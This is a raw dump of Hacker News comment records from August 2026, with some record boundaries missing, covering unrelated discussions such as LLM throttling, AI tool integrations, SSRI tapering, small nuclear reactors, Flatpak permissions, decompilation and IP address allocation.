I would really say the biggest downside to all of this, on a personal level, is exactly what I shared: what comes out of the LLM while discussing has become hard to grasp (especially on larger context windows), and it doesn't help that so many people now like to just throw me whatever ChatGPT/Claude wrote verbatim. I can't stand that, especially because most of the time they don't realize they're throwing me incomplete and poorly thought-out ideas.
Finally, naturally, like I said, this has to do with risk. I wouldn't trust Claude to give me legal advice, for example. I may check what it says and use it to brainstorm, but I wouldn't trust it with any meaningful informed decision like this.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49477581"} {"by": "happytoexplain", "comments": 0, "created_at_utc": "2026-08-28T12:30:48Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49477582", "item_id": 49477582, "kids": [49485399], "parent": 49474506, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": ">changing citizenships should be as easy as changing jobs

So, I set out to model and study the problem mathematically to understand what was happening, what I found was quite surprising.
The idea seems natural: as the data center demand increases momentarily through the day, throttling their models (either using quantized versions, reducing the context window or lowering the tier of the model to a smaller one) seems appealing as the replacement model in principle uses less electricity. The problem is that this can cause the opposite effect: as users are trying to solve a question, if the degraded AI model gives a bad answer, the user is likely to keep re-asking. On the AI provider side this looks paradoxical: throttling to a lower model creates in fact more demand for their data center.
This problem is even worse for agentic workflows, as these are more likely to create a re-ask storm, and maybe explains the outages and anecdotal experiences of users that feel the models are degraded.
The model: I used mainly queueing theory arguments solving the optimal scheduling serving for an AI fleet with heterogeneous users solving a finite horizon Dynamic Programming optimization problem.
Insights: The industry standard practice of throttling once the number of users in system exceeds a given threshold is in fact what’s causing the problem, the optimal rule implies separating users that won’t feel degradation as much with users that are very sensitive to it (agents and power users vs users doing simple tasks).
Limitations: The visualization and paper examples are a toy example to illustrate the problem, only the providers have enough data to properly calibrate these instances. In the paper there are some interesting calibrated instances.
Technical Details: The visualization is around 100 lines of flask plus js frontend (LLM assisted with ground truth based on the original numerical example of the paper).

One of my off by one errors is a stupid hacky Monte Carlo intution for Picks theorem.

A = I + B/2.Recently my employer hooked Claude into a bunch of SaaS services like a ticketing system and an asset inventory system, and I feel a big productivity boost is that I don't have to dig for their open browser tabs, remember their product name/URL/where I put the bookmark, find that my sessions have logged me out "for my protection" since I last looked, find my MFA code, approve sign-in on my phone, then use their mismashed/sluggish/poor-UX interfaces and slow searches to loko for things, and can instead ask Claude "search these systems for anything about <issue>" and it just does. It correlates between systems, summarizes things, and gives me references which system and where to look to check what it found. Internal search on a mess of acquired and disjoint systems.
This feeling reminds me of two classic Joel Spolsky blog posts below, and your comment here about the surprisingly useful tab-complete gives me a similar feeling. I wonder how many smaller candidates there are where LLMs are more helpful and less hyped, against the big vibe-coding solve-everything hype which are currently less helpful than their hype?
References [1]: "A lot of us thought in the 1990s that the big battle would be between procedural and object oriented programming, and we thought that object oriented programming would provide a big boost in programmer productivity. I thought that, too. Some people still think that. It turns out we were wrong. Object oriented programming is handy dandy, but it’s not really the productivity booster that was promised. The real significant productivity advance we’ve had in programming has been from languages which manage memory for you automatically. [...] Whenever you hear someone bragging about how productive their language is, they’re probably getting most of that productivity from the automated memory management, even if they misattribute it. Sidebar: Why does automatic memory management make you so much more productive? 1) Because you can write f(g(x)) without worrying about how to free the return value from g, which means you can use functions which return interesting complex data types and functions which transform interesting complex data types, in turn allowing you to work at a higher level of abstraction"
and [2]: "I have seen many language and programming fads come and go. But there’s only ONE, that’s right, ONE language feature I’ve ever seen that actually improves your productivity significantly. No, it’s not object oriented programming; no, it’s not intentional programming or assertions or programming by example or CASE or UML or XML or Java. The only thing that improves your programming productivity is using managed code – that is, using a language in which memory management is automatic."

Yuzu does not function without integrating the Switch's decryption keys without Nintendo's authorization, therefore under the DMCA it's an illegal piece of software. In general this means that any unauthorized emulator made for any relatively modern system is also illegal, since they all encrypt their games.
One thing to note is that all the famous legal cases establishing unauthorized emulation as legal revolved around PlayStation emulators.

As for selling dollar for other currencies, I am sure it makes sense to dump some of it because it seems to be a bit more volatile, holding another country's currency is exposing you more to their economy after all.

I think there is overall something here for current Claude which is there appears to be a hierarchy of conformance that breaks progressive disclosure and the utility of skills. It seems to honor the system prompt, user instructions, tool call results, and dead last skills. It applies a large amount of discretion as to whether to honor what skills say in the imperative and progressive disclosure seems to have at best a 20-30% recall. Other models like codex gpt 5.6 seem to be the exact opposite and slavishly adhere to the Agent/skills/plugins, to the point of being wasteful and dangerous.

this assumes you can generate profit before you can get optimized - what if profit generation is only possible with optimized software? A lot of online MMO-style games tend to require such optimizations as they scale into the size required to generate profit.
Or, in the current era of ai, the cost of the capital investment is far exceeding the ability to generate profit off it. The optimization in how the resources gets used will be needed to cut the costs down, and allow increase in the scale of usage for the same hardware. That's where profits would lay.

Something that surprised us while working on this: it's harder than it should be\nto find a good home for one online.
Reddit is strong for discussion, and photography there gets treated like any other\npost. Discord is great for conversation in the moment, and it gets awkward once\nyou want to browse or share a large amount of visual work. In both cases the\ncommunity is structured around text, and the photos live inside that.
We wanted the photos to be the structure.
So we built an app where anyone can create a community around a photography niche,\ncustomize it, set their own rules, and invite people with a shareable link.\nCommunities are organized around albums for now. You can make something broad like\nstreet photography, or narrow like 35mm shot in Paris, and let it grow from there.
Members post as many photos as they want, explore other niches, and find people\nshooting the same things they are. There's a camera and editor built in too, with\neffects written in Metal running on the GPU in real time, and filters you can\nexport as recipes and share with others.
We're leaving most of the structure to the people creating the communities rather\nthan deciding up front what a photography community should look like.
If you're part of one today, on Reddit, Discord, Facebook groups, Flickr, anywhere:\nwhat do you find frustrating about it?

There is an obvious abundance of choice when it comes to text editors, but they all seem to be either too simple and minimal, or overly complex, distracting and difficult to use. We are trying to strike the right balance between a 'complete' feature set (with some unique features you won't find anywhere else – e.g. the multi-leaf view or our real-real-time chat), while keeping the UI clutter-free with a strong separation of style from content.
I've submitted Kraa here before and received actionable feedback – hoping for the same with this latest major update to the app.

This is true. I'm arguing that its unlikely this was ever bound by available RAM. Cloudflare is a DDoS protection company that absorbs attacks. They have a lot of available capacity at any moment. When you're building a service in a sitaution where you have more capacity than you'll likely need.
The savings were 100 TB across >300 data centers. The savings were on the order of 50%. So prior to this reduction the service was using something less than 2/3 of TB per datacenter. The service ram usage was about 10GB per instance according to the graph in post. IDK how cloudflare divides thier stuff between machines, but assuming they don't run less than 64 GB per server that's less than 12 servers per datacenter of ram for a flagship product, and they likely run it spread across 65 of the machines in the datacenter that are also doing other stuff. The per-instance RAM likely isn't the the concerning limit.
Overall RAM usage is proabably a bigger concern. Thats why I would think about dedup between instances and distributed caching strategy first. I could focus on redudcing the ram needed per service instance and get a 50% reduction per machine. Or I could focus on deduping 1/n (where n > 2) reduction in total memory usage across all instances. Personally if I was worried about reducing RAM I'd put more energy into growing N.
However all this is a red herring. The assumption people are making is that the cache was always read-only, and it's obvious that Box<[T]> was the best decision because in a RO cache smaller entries hold more things.
The 1.1.1.1 service advertises improved DNS performace. That's its value add. The biggest performance gain you can have from a cache is not having a cache miss, and in DNS a cache miss means a very expensive recursive lookup. So there's concerns about how to minimize those lookups. If one instance has does a lookup, it makes sense to share that result to the other instances that may need to do a lookup [1]. I don't know off the top of my head if it makes sense to get those updates and modify the existing record or just replace it in the local cache. That comes down to locking strategies and reading patterns in the specific code and service traffic patterns. Until i have hard evidence one way or another I'd like my cache to be able to do both and keep the data structs modifiable until that's nailed down. If per-isntance ram ever becomes the issue, there's easy wins there to buy me time to find better large scale solutions to the problem.
No one is disagreeing that the larger datastructures are larger. No one is disagreeing that they take more RAM, and or even if RAM was the the problem reducing it would be good.
The thing people are pointing out is that this isn't a homework problem about an optimal cache structure in a vacuum. We're pointing our that engineering real large scale solutions has a lot more to consider than a homework problem, and that the thing you're harping about likely didn't have any real budgetary or noticable performance impact on bulding that system. The reduction in ram is just a smallish improvement in operating costs after all the more expensive stuff was figured out.
Put another way 100TB of RAM is ~$350K. Thats one engineer year for a mid-level engineer.[2] Would you rather spend that money to save an equivalent amount of money somewhere, or... would you spend that money putting the engineer on something that saved $700K elsewhere (alternately that generated $700K)?
[1] I talked a lot about dedup and the simple gotcha is "hahah then its not deduped so you need smaller objects". But on a service that is running on a few dozen instances having a few redundant copies to deal with loss of a machine and/or load can still result in 1/(n>2) savings in total ram.
[2] I'm not saying someone worked on this for a year btw, a couple people likely spent a couple months on the code, validation and testing of it. A manager spent time overseeing it. Operations people spent time understaning any effects it had on running systems. Costs add up and it wouldn't suprise me if this didn't end up being roughly break-even for the year.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49477986"} {"by": "akoboldfrying", "comments": 0, "created_at_utc": "2026-08-28T13:12:00Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49477987", "item_id": 49477987, "kids": [], "parent": 49475855, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Sorry, but I don't think that makes sense.

I got prescribed and took 30 mg of Citalopram for about 10 years to treat general anxiety. At some point, I wanted to stop taking it because of the emotional numbness (and also because of a tendency toward mildly aggressive episodes).
I gradually reduced the dosage from 30 to 20 mg (over the time of 3 to 4 months), then down to 10 mg (for another 2–3 months), and then I finally reduced it to 5 mg (half a 10-mg tablet) over a period of 4–6 weeks. I told my doctor beforehand, they only told me that I should fade it out slowly. But please excuse me for not knowing the exact time frames of the tapering process any more. I took my time at the beginning of the tapering and moved more quickly toward the end.
During and afterwards I didn’t notice any severe side effects, aside from the fact that the recurring emotions really overwhelmed me at times. Not only that, but I would cry at the slightest hint of emotional and romantic scenes in movies and series, which lasted for about three months. Nowadays, I feel quite normal. I miss the slight comfort Citalopram gave me, but I have my feelings back, I feel more myself again.

Several sides of the topic can co-exist together and all be true, so (well, in my experience and reading):
- Some people really benefit from and even need SSRIs or other psychoactive drugs to function well in society.
- Too many people are prescribed them such that there may be more harm than good. They may have side effects or were prescribed them to deal with a situational problem that could have been better managed with therapy.
- Whether justified or no, a prescription is given with no off ramp provided. It's almost as if you're defective and the drug is fixing you, and the solution are pharmaceuticals, which again may be true for some subset of those prescribed. People clearly are trying to taper and are suffering.
More controversially, psychiatry is something of an art (if you're generous) or a racket. Because there's no way the "chemical imbalance in the brain" theory can be validated empirically.

I grew up with an anxious mother and looking back on it what "mattered" to her (admittedly I don't think she can help it at all) is the feeling of anxiety itself. In other words whatever is happening she'll feel anxious about that. The "event" would just be an excuse to feel the way she was anyway going to feel.
You would think that a break for anxiety - a moment of peace and calm - would be welcome - but it's almost a crime. I've noticed this with other anxious people as well that they often don't want to not feel anxious because that feeling is somehow problematic. I think I used to be like that too.
Why am I sharing this? I think your post is such an honest take on something. You feel good about something you should absolutely feel good about (nice weather) but the zeitgeist is that you should feel anxious about it.
This squares away with something I noticed - separately from the science and mitigation, some people are only able to speak about climate in tones of anxiety - worst case predictions will definitely come through, everyone else is criminally stupid and will cause us to die, etc - and they are allergic to any other time of speaking about the issue. So for example any suggestion that there might be a milder path or that the estimates are a range etc is not met with relief but with vitriol.
I apologize again for using your post as a prompt to put this in words - but what I read in your words is the pressure to feel anxious about something that you just aren't anxious about (hi from Vermont btw same great weather here) and I think this "pressure to feel anxious/guilty" is a byproduct of those who have grabbed on to climate as an "event" that justifies their own anxious feelings.

I had a similar situation involving electricity when living in Los Angeles, in the Valley. Electricity costs were averaged across all units, there were no individual meters per unit.

I still think in your scenario, we would not be able to prove that that is what actually happened as opposed to someone manipulating the inputs to the brain to make it think that's what happened. Or to change it completely.
Like that's the entire solipsistic problem. The brain is just sort of self-contained. Everything is essentially input. We are incapable of really knowing the experience of someone or something else. Or if what we perceive is what's actually happening. Because, as you note, the brain can be manipulated to act in ways counter to the manner it had been acting previously. We can induce sound and vision. If we were better at it and could keep the brain alive, we could full on do a brain in a vat.
And I agree that sort of proof is impossible to acquire. Like, there is no way to prove conclusively that anyone else is conscious. But that's why we instead treat it as an axiom instead. We basically say "We're not going to prove it, we're just going to accept it as true". And that's fine.
Mostly because it not being true is an existential horror no one wants to truly confront.
And even with all of the more absurd conjectures, basically any form of "Last Thursdayism" of which simulation theory falls under, it's quicker to just assume that it's not true and treat the world we perceive as real with real rules that can be discovered through observation, testing, and experimentation.

It is nuts that they can be fairly transparent how anti-consumer they are while still succeeding. It's really a testament to the quality of their printers, marketing, and long-term strategy.
If you want to print multi-filament without an AMS, it's a massive hassle. You need to insert custom G-code. Even though you can export raw G-code, you can't reimport it. You can insert custom G-code on the layer preview, but they expicitly disable pasting in the entry dialog. Some of the variables from the main G-code aren't accessible to the filament G-code.
The "easiest" way to do this is to insert a G-code pause where you want a filament change (if you use the layer "Pause" you can't control the extruder anymore until the print resumes) and then manually moving the extruder gears (to unload and then again to purge) and then resuming the print manually.
"No non-AMS filament changes" has been a complaint on both GitHub and the Bambu forums. OrcaSlicer doesn't have these problems. Obviously Bambu has an economic disincentive to make easy filament changes without an AMS, but it would be nice to have a good printer as well as intuitive (or at least hackable) software.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478118"} {"by": "drzaiusx11", "comments": 0, "created_at_utc": "2026-08-28T13:23:03Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478119", "item_id": 49478119, "kids": [], "parent": 49464609, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "As an avid dog owner I ensure my pets have a rich home life.

> Samuel B. Morris, the general manager and chief engineer of Los Angeles’s Department of Water and Power, traveled all the way to Geneva in 1955 to attend the first International Conference on the Peaceful Uses of Atomic Energy. There, he made a case for small reactors, arguing that because the “number of small units…is many times the number of large units,” there could be “economy in development and repetitive manufacture” of the small units.
> But nothing in the history of small nuclear reactors suggests that they would be more economical than full-size ones. In fact, the record is pretty clear: Without exception, small reactors cost too much for the little electricity they produced, the result of both their low output and their poor performance.
For me, SMRs don't pass the smell test. Buying one big plot of land for a reactor, building one power interconnect, having a localized water impact is way easier and cheaper than many. Even if its cheaper to build small reactor vessels, MANY of the other costs become more expensive in larger numbers. Costs that you can ignore while you're just building a prototype.
If it's so much cheaper to build multiple small reactors, just build one big plant with 24 small reactors.

Oof that hit hard. The last project I worked on suffered from a very similar disease, and it has really taken a toll on me psychologically. To work day in and day out on something that you can prove cannot work is unbelievably demoralizing. From an organizational standpoint, it makes a lot of sense to have an "internal consultant" who can deliver bad news like this. I tried to do it from the "inside" which was a huge mistake--got a negative performance review saying I had a "communication problem" because nobody wants to hear "negativity". I can come off online as kind of an asshole, so this may not seem credible, but I did actually deliver this news in a professional, measured manner. It's just that organizations are allergic to it, and their antibody response kicks in.

Let's say you add requirement of being higher abstraction language than assembly. You can translate the assembly code 1:1 with simple string substitions to C code which would provably replicate the behavior of program perfectly. I would consider that more of hard coded emulation, opposite of JIT like ahead of time code translation. Just because the intermediate langauge is higher level language than assembly doesn't automatically mean that the program text operates at higher level of abstraction than assembly.
I have seen plenty of decompilation projects where you start reading the code many functions contain nonsensical variable reuse (and name that match the register names), address calculations and memory casts and array calculations, arrays of function pointers, offsets within structures which strongly mirrors the assembly code.
The problem is that you can't draw a hard line how good do the variable/function names need to be so that it can be considered decompilation instead of hard coded emulation. It's hard to draw a line for how much of higher level language features you need to use to be considered decompilation. It's hard to define how logical the control flow needs to be. The line becomes blurrier by system programmers approaching it from the other side. Sometimes an extensively optimized code can contain a lot more manual memory mangling, index and offset calculations, manual unrolling than the language requires. So many C programs with homebrew systems of emulating virtual functions using structs of pointers. In such situations it's hard to tell if decompilation is incomplete or whether program was written that way from start.
Another possibility of junk decompilation (which perfectly compiles to byte identical copy of original executable) is program which depends on exact program layout in memory or undefined aspects of programming language. It would perfectly replicate original behavior on original hardware/compiler, but provide 0 insights in intended program behavior and fail miserably when attempting to modify the code or port it to different hardware/compiler. For example the "decompiled" code might intentionally peform out of bounds array access thus touching completely different variable or depend on fallthrough between functions lacking return statement.
Taking it to the extreme would be something like:
```
char data[] = {0x10, 0x12, 0xab, 0xcf, ...}; // bytes corresponding to majority of original program.
int main(){\n ((void*())data)(); // cast the array to function pointer and execute it
}\n```
It might behave exactly like original program, but that's junk decompilation.
You could add additional restriction that C program isn't allowed to exploit any undefined or machine specific behavior, but then there is very high chance that even original program wouldn't satisfy it.
Original program might also contain parts of it written in assembly for performance reasons or because that was only way to access certain hardware features. What does it mean for decompilation? Is decompiled code not allowed to use the same techniques. If decompiled code is allowed to have some pieces of assembly what stops it from using it for everything. There is no way of knowing precisely how much assembly the original program used.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478235"} {"by": "georgefrowny", "comments": 0, "created_at_utc": "2026-08-28T13:34:06Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478236", "item_id": 49478236, "kids": [49478453, 49484457, 49478695], "parent": 49478135, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Solar and nuclear are comparable: 0.02 vs 0.03 deaths/TWh (https://ourworldindata.org/grapher/death-rates-from-energy-p...)

The page mentions adding more granular permissions, which is nice to see. However, another necessary improvement is actually making it possible for software to incorporate these new granular permissions in a backwards compatible manner.
As one example, I maintain a game on Flathub that supports game controllers as an input device. By default, access to game controllers are blocked in the sandbox just like access to any other piece of hardware. The only way to use game controllers is to mark your software as requiring a blanket permission that grants access to all devices connected to the user's system. The Flatpak maintainers realized this is problematic, so a few years ago they added a permission to specifically request access to input devices (https://github.com/flatpak/flatpak/pull/5481). However, because the permissions aren't backwards compatible, and because there's LTS distros under active support with old Flatpak versions released before the permission was added, you aren't allowed to use this permission on Flathub, only the blanket "all devices" permission. As a result, Flathub lists my game as "potentially unsafe" because it "can access hardware devices such as webcams and game controllers" since the only other option was disabling controller support on the Flatpak version of the game.
If they figure out a way to implement the new permissions so they can fall back to the broader kind on old Flatpak versions, this would be a massive improvement over the current situation. Otherwise you'll have to wait 10+ years before you can use newly added permissions because the only other option is breaking Flatpak on whatever ancient Ubuntu or RHEL version is still under support.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478242"} {"by": "redsocksfan45", "comments": 0, "created_at_utc": "2026-08-28T13:34:55Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478243", "item_id": 49478243, "kids": [], "parent": 49474786, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[dead]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478243"} {"by": "CurbStomper", "comments": 0, "created_at_utc": "2026-08-28T13:34:56Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478244", "item_id": 49478244, "kids": [], "parent": 49477854, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[dead]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478244"} {"by": "SV_BubbleTime", "comments": 0, "created_at_utc": "2026-08-28T13:34:59Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478245", "item_id": 49478245, "kids": [49480692], "parent": 49472822, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "lol, I know plenty of people offline that are addicted to this shit too.

Before LLMs, I found "mostly works" systems like this to be incredibly sketchy and not worth using. The main thing I've had to learn in this past year is that what I thought was an ironclad rule turned out to be only a heuristic that was useful before but not always helpful, because empircally as much as I might find the lack of determinism jarring, in practice these tools are genuinely good enough at what they do to be worthwhile to use, as long as you're making sure not to use them in ways that the occasional failure costs more than just some wasted time.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478281"} {"by": "rufuspollock", "comments": 0, "created_at_utc": "2026-08-28T13:38:09Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478282", "item_id": 49478282, "kids": [], "parent": 49469512, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "I love astro content collections.

Autistici Inventati identifies itself as an “anti-fascist” and “anti-militarist” organization opposed to capitalism and exclusively provides its services to vetted individuals, collectives, and groups it perceives to be aligned with its ideology, including to sanctioned terrorist organizations such as the Kurdistan Workers’ Party (PKK), which has been designated by the United States, United Kingdom, and European Union for its use of terrorist tactics leading to thousands of deaths in Türkiye, Iraq, and Syria since its establishment in 1984.
Autistici Inventati is being designated pursuant to E.O. 13224, as amended, for having materially assisted, sponsored, or provided financial, material, or technological support for, or goods and services to or in support of, an act of terrorism."", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478293"} {"by": "AndrewKemendo", "comments": 0, "created_at_utc": "2026-08-28T13:38:52Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478294", "item_id": 49478294, "kids": [49480899], "parent": 49477854, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478294"} {"by": "devnavigator", "comments": 0, "created_at_utc": "2026-08-28T13:38:59Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478295", "item_id": 49478295, "kids": [49478296], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49478295"} {"by": "devnavigator", "comments": 0, "created_at_utc": "2026-08-28T13:38:59Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478296", "item_id": 49478296, "kids": [], "parent": 49478295, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478296"} {"by": "steveharing1", "comments": 0, "created_at_utc": "2026-08-28T13:39:04Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478297", "item_id": 49478297, "kids": [], "parent": 49478222, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[dead]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478297"} {"by": null, "comments": 0, "created_at_utc": "2026-08-28T13:39:09Z", "dead": false, "deleted": true, "hn_url": "https://news.ycombinator.com/item?id=49478298", "item_id": 49478298, "kids": [], "parent": 49477854, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": null, "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478298"} {"by": "simonw", "comments": 0, "created_at_utc": "2026-08-28T13:39:21Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478299", "item_id": 49478299, "kids": [], "parent": 49478121, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "That was a different issue from the US government preventing Anthropic from selling general access to their Fable 5 model for a few weeks.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478299"} {"by": "elcazador", "comments": 0, "created_at_utc": "2026-08-28T13:39:27Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478300", "item_id": 49478300, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "", "type": "story", "url": "https://news.ycombinator.com/item?id=49478300"} {"by": "Myrmornis", "comments": 0, "created_at_utc": "2026-08-28T13:39:30Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478301", "item_id": 49478301, "kids": [49478923, 49482741, 49478890, 49480156], "parent": 49466917, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Is there a resource somewhere that tells me, "Given that you have X Gb RAM on your laptop, these are the current local models you should consider trying and here's how to configure them to leave enough memory for other applications on your machine."?", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478301"} {"by": "alansaber", "comments": 0, "created_at_utc": "2026-08-28T13:39:34Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478302", "item_id": 49478302, "kids": [], "parent": 49477683, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Github down or vibe-coded url.

A major issue with gigawatt scale nuclear is that it's frankly too big for most markets. Only very large electric markets can can easily digest a new always-on 1000 megawatts of electricity, and you need to be building multiple plants at a time for this all to be economical. That's why the nuclear power rollout of the 60s through 80s worked, and why China and to a lesser extent India's nuclear industry is thriving presently.
With an SMRs smaller scale, there are just way more available projects where nuclear is feasible, and so a more consistent workload can keep everyone employed and subcontractor's backlogs filled.

What you think you are doing is holding firm to objective reality. What you are actually doing is willingly putting blinders on yourself about how humans use language.
You’ve adopted a certain definition of socialism and decided it’s the correct one. Which is fine, everyone does that with vocabulary. But you are not acknowledging to yourself that it was in fact an act of adoption to do so. Thus you are denying yourself the mental framework for evaluating how and why others might try to use competing definitions.
Metaphorically, words are buckets and different people put different things into the bucket. Sometimes it’s just silly like “is a hot dog a sandwich.” Other times there are more serious implications like the fundamental difference between “I have a theory” (about how a lamp got broken) vs “I have a theory” (a mathematical framework for predicting the relationship between genotypes and phenotypes).
And sometimes it is used to create shibboleths, whereby looking in people’s buckets communicates how open they are to persuasion of one type or another.
So it’s always a power move, and useful, to think “what exactly do they mean by that?” What do people gain and lose by adopting different definitions and words? Understanding that this happens continuously in all use of language helps one do a better job of relating labels to observable objective reality.
To come back to “socialism,” you might think Mamdani is doing himself a disservice by misusing (from your perspective) that term, thereby turning you off. But he just easily won a huge election! That’s objective reality: he got what he wanted, he succeeded. This might be a moment to consider other uses of that term, and the degree to which they may be outcompeting your adopted definition.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478372"} {"by": "Sweepi", "comments": 0, "created_at_utc": "2026-08-28T13:44:50Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478373", "item_id": 49478373, "kids": [49478472, 49479485, 49478553, 49479608, 49479366, 49480492, 49478429, 49478931], "parent": 49477956, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "The future of supercars is to outlaw them to make any engine noise on the road.\nThere is no reason to have engine noise other then that not having engine noise is not possible at a given price point.

Arguments based on human nature are nearly always awful.

It's human nature to care about yourself, but it's also human nature to care about others.
Different norms develop around different aspects of our nature.
You can't then use human nature to explain why it's okay to violently enforce social norms related to property,
but an unworkable injustice to violently enforce social norms related to charity.

While it might be human nature to consider the wood I chop mine, and the wood you chop yours,
it's probably not human nature to consider the wood as belonging to an entirely made-up legal entity
that neither planted the trees nor cut them down.
The fact of this weird arrangement, which goes against the self-interest of every woodsman,
does seem natural to a lot of people, points to the core of the problem with appeals to human nature.

Tl;dr: it's actually near minimal to dual stack and do BGP between 2 sites of redundant services with advertisement failover to the internet.
/48 is the smallest accepted IPv6 advertisement and /24 the smallest allowed IPv4 advertisement (on the net at least). IPv6 assignments are done on the nibble (/48, /44, /40, ...). Since I only have two sites I could have gotten away with a /23 and something like a /44 but then the RIR pointed out it'd probably be cleaner to manage to get a /40 and give each site a /44 at the same renewal cost. As to why, I've just always worked in or near the networking field and so it seemed cheaper/easier to run it all myself in the long run.
Through another very long story, the Org ID + ASN + IPv4 space + IPv6 space ended up costing something like ~$1k the first year and then ~$500 in yearly renewals. I'm not legally able to resell these for the massive market rate prices of /24s because of them being leased for $0 specifically to dual stack my core hosted services like DNS with my own public IP, but that's fine as I got them to use :).
The largest assignment I've ever had the pleasure of getting and deploying was a /32 (... of IPv6!) for an extremely large healthcare system. Certainly no great record smasher, but I thought it was cool to work on an IPv6 subnet so big it could have been an IPv4 route nonetheless! That one was still also very sparse of course, but similar kinds of reasoning ended up getting to that being much easier/better to work with than a dense assignment.
I also have a small MAC address range (a classical "OUI" sized range is 24 bits of addresses, I have 12 bits of addresses) for a small run of some hardware I was making for a particular customer use case.

A few weeks later, Pydantic started their own fork called HTTPX2. We decided to embrace this and support HTTPX2. We're upstreaming our fixes to HTTPX2 and in our opinion it should be the "blessed" fork. Pydantic can make this more successful than we ever can.

If you look back at Nazi propaganda against Jewish people, it's the same pattern. They convinced their followers of so many terrible things this minority group is doing just to hurt and spite "the common man", until said followers were ready to do all those things to them.

You have a generation of Americans who were told repeatedly and often in their teenage years that if they wanted to be able to compete in the global job marketplace, they'd need, at the very least, a bachelor's degree.
As it turns out, employers were going to offshore those jobs and cut those wages regardless of your education. The value of degrees was wildly over-inflated compared to the economic reality, particularly after the Great Recession and COVID. The result has been an entire generation of people who aren't able to attain the same life milestones as their parents' generation, which is inherently destabilizing to a society. Corinthian Colleges wasn't the main perpetrator of this; the entire system was. By their shutdown in 2015, most people born between 1980 and 1995 were out of college and were paying massive loans to legitimate schools.
When you have a party (in this case, the federal government) obtaining something of value (student loan interest payments) via statements that are materially not true, there's a word for that: fraud.
Student loan forgiveness was a targeted effort on the behalf of a lending institution's head officer - in this case, the President of the United States - to try and renegotiate the terms of the loan serviced by that institution as to give some remedy to the problem.
This would have required a write-down of the foregone payments that would be approximately equal to what the US government spends on providing OASDI checks to retirees for one year, and most retirees do not rely on OASDI checks to avoid homelessness, starvation, or other destitution. It's basically a bonus that you get for living over the age of 65, at this point being paid in part by loans taken out by the US government that will have to be paid off long after the recipients of that money are dead.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49478538"} {"by": "Aurornis", "comments": 0, "created_at_utc": "2026-08-28T13:55:28Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49478539", "item_id": 49478539, "kids": [49480065], "parent": 49478512, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "> Unfortunately that 1.0 work is happening in a private repository.

Not true! The OP should learn not only about (and from) models but also anti-models!
Addressing OP:
On anti-models, read NN Taleb's books (the Incerto) and Charlie Munger (his speech on inversion / thinking about what you would do, and how you would do it, in order to ensure a miserable life — and then not doing those things). Read statements from the elderly / terminally ill about what they regret having done or not done in their lifetimes.
